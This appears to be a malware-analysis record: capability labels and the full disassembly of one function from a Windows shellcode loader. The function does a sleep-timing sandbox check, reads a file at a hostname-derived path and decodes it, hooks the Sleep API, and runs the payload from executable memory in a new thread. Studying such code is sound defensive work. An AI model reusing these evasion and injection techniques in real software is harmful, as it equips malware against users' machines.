Function at 0x180001380
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Create thread
Encode data using xor
Get file attributes
Get hostname
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x2b0]
sub rsp, 0x3b0
mov rax, qword [0x18001d008]
xor rax, rsp
mov qword [rbp + 0x2a0], rax
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
mov rbx, rax
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
mov edx, 0xfffffed4
sub edx, ebx
add edx, eax
movsxd rax, edx
shr rax, 0x20
xor edx, eax
sub edx, eax
cmp edx, 0x64
jg 0x18000179d
mov ecx, 0x4e20
call qword [sym.imp.KERNEL32.dll_Sleep]
movdqa xmm0, xmmword [str.C:UsersPublicRtlDecompressBuf_]
movdqa xmmword [rsp + 0x70], xmm0
mov dword [rbp - 0x80], 0x75636f44
mov dword [rbp - 0x7c], 0x746e656d
mov word [rbp - 0x78], 0x5c73
xor edx, edx
mov r8d, 0xea
lea rcx, [rbp - 0x76]
call fcn.180004330
mov dword [rsp + 0x34], 0x104
xor eax, eax
mov qword [rsp + 0x38], rax
mov byte [rsp + 0x40], al
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0x80]
call fcn.180004330
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0x190]
call fcn.180004330
lea rdx, [rsp + 0x34]
lea rcx, [rbp + 0x80]
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea r8, [rbp + 0x80]
mov edx, 0x4e67c6a7
mov eax, dword [rsp + 0x34]
test eax, eax
je 0x1800014af
mov r9d, eax
mov ecx, edx
shl ecx, 5
mov eax, edx
shr eax, 2
add ecx, eax
movsx eax, byte [r8]
add ecx, eax
xor edx, ecx
lea r8, [r8 + 1]
sub r9, 1
jne 0x180001491
movups xmm0, xmmword [str.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ]
movups xmmword [rsp + 0x48], xmm0
movups xmm1, xmmword [0x180019af0]
movups xmmword [rsp + 0x58], xmm1
mov eax, dword [0x180019b00]
mov dword [rsp + 0x68], eax
movzx eax, byte [0x180019b04]
mov byte [rsp + 0x6c], al
xor r14d, r14d
mov ecx, r14d
mov r9d, r14d
nop word [rax + rax]
mov r10d, ecx
mov eax, edx
and eax, 0xf
movzx eax, byte [rsp + rax + 0x48]
mov byte [rsp + r9 + 0x38], al
inc ecx
lea r9, [r9 + 1]
shr edx, 4
test edx, edx
jne 0x1800014f0
movsxd rcx, ecx
mov byte [rsp + rcx + 0x38], r14b
mov r8, r14
cmp byte [rsp + 0x38], 0x2d
sete r8b
mov eax, r10d
cdq
sub eax, edx
sar eax, 1
movsxd r10, eax
cmp r8, r10
jg 0x18000155c
lea rdx, [rsp + r9 + 0x37]
nop dword [rax + rax]
movzx ecx, byte [rsp + r8 + 0x38]
movzx eax, byte [rdx]
mov byte [rsp + r8 + 0x38], al
mov byte [rdx], cl
inc r8
lea rdx, [rdx - 1]
cmp r8, r10
jle 0x180001540
lea rcx, [rbp + 0x190]
dec rcx
lea rcx, [rcx + 1]
cmp byte [rcx], r14b
jne 0x180001566
lea r8, [rsp + 0x38]
xor edx, edx
nop word [rax + rax]
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x180001580
mov rcx, r14
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rbp + rcx + 0x190]
mov byte [rbp + rcx + 0x80], al
lea rcx, [rcx + 1]
test al, al
jne 0x1800015a0
lea rcx, [rsp + 0x70]
dec rcx
nop
lea rcx, [rcx + 1]
cmp byte [rcx], r14b
jne 0x1800015c0
lea r8, [rbp + 0x80]
xor edx, edx
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x1800015e0
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x18000179d
mov qword [rsp + 0x38], r14
mov dword [rsp + 0x34], r14d
lea rdx, [rsp + 0x34]
lea rcx, [rsp + 0x38]
call fcn.1800011d0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x48], xmm1
mov rsi, r14
mov qword [rsp + 0x58], r14
mov byte [rsp + 0x30], 0
mov r15d, dword [rsp + 0x34]
test r15, r15
je 0x180001654
lea r8, [rsp + 0x30]
mov edx, r15d
lea rcx, [rsp + 0x48]
call fcn.1800019b0
mov rsi, qword [rsp + 0x58]
mov r8, r15
mov rdx, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x48]
mov rcx, rdi
call fcn.180003c80
mov r8d, 0x8000
mov rdx, r15
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [0x18001f890], rax
mov word [rsp + 0x38], 0xba49
mov word [rsp + 0x42], 0xff41
lea rax, [0x180001b20]
mov qword [rsp + 0x3a], rax
mov dword [rsp + 0x34], r14d
xor bl, bl
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
movups xmm0, xmmword [rax]
movups xmmword [0x18001f898], xmm0
lea r9, [rsp + 0x34]
mov edx, 0xd
lea r8d, [rdx + 0x33]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1800016f6
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
movsd xmm0, qword [rsp + 0x38]
movsd qword [rcx], xmm0
mov eax, dword [rsp + 0x40]
mov dword [rcx + 8], eax
mov byte [rcx + 0xc], 0xe2
mov bl, 1
cmp qword [0x18001f8a8], 0
jne 0x180001729
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtFlushInstructionCache
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x18001f8a8], rax
test rax, rax
je 0x180001745
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov r8d, 0xd
mov rdx, qword [sym.imp.KERNEL32.dll_Sleep]
call qword [0x18001f8a8]
lea r9, [rsp + 0x34]
mov r8d, dword [rsp + 0x34]
mov edx, 0xd
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test bl, bl
jne 0x1800017cd
test rdi, rdi
je 0x18000179d
sub rsi, rdi
mov rax, rdi
cmp rsi, 0x1000
jb 0x180001792
add rsi, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800018e2
mov rdx, rsi
mov rcx, rdi
call fcn.180002224
mov rcx, qword [rbp + 0x2a0]
xor rcx, rsp
call fcn.180001d50
lea r11, [rsp + 0x3b0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov qword [rsp + 0x40], r14
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x38], rax
mov rbx, qword [rsp + 0x50]
mov r15, rbx
sub r15, rdi
mov r9d, 4
mov r8d, 0x1000
lea rdx, [r15 + 1]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r12, rax
test rax, rax
jne 0x18000180e
mov rcx, r14
jmp 0x18000187c
mov r8, r15
mov rdx, rdi
mov rcx, r12
call fcn.180003c80
lea r9, [rsp + 0x34]
mov r8d, 0x20
lea rdx, [r15 + 1]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x18000183d
mov rcx, r14
jmp 0x18000187c
cmp rdi, rbx
cmovne rbx, rdi
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], r14d
mov r9, r12
lea r8, [0x180001b50]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov r14, rax
mov qword [rsp + 0x40], rax
test rax, rax
setne al
mov rcx, r14
test al, al
jne 0x1800018c1
test rcx, rcx
je 0x18000188b
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
test rdi, rdi
je 0x18000179d
sub rsi, rdi
mov rax, rdi
cmp rsi, 0x1000
jb 0x180001792
add rsi, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800018e2
jmp 0x180001792
lea rcx, [rsp + 0x38]
call fcn.180001940
mov rcx, rax
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.1800084cc
int3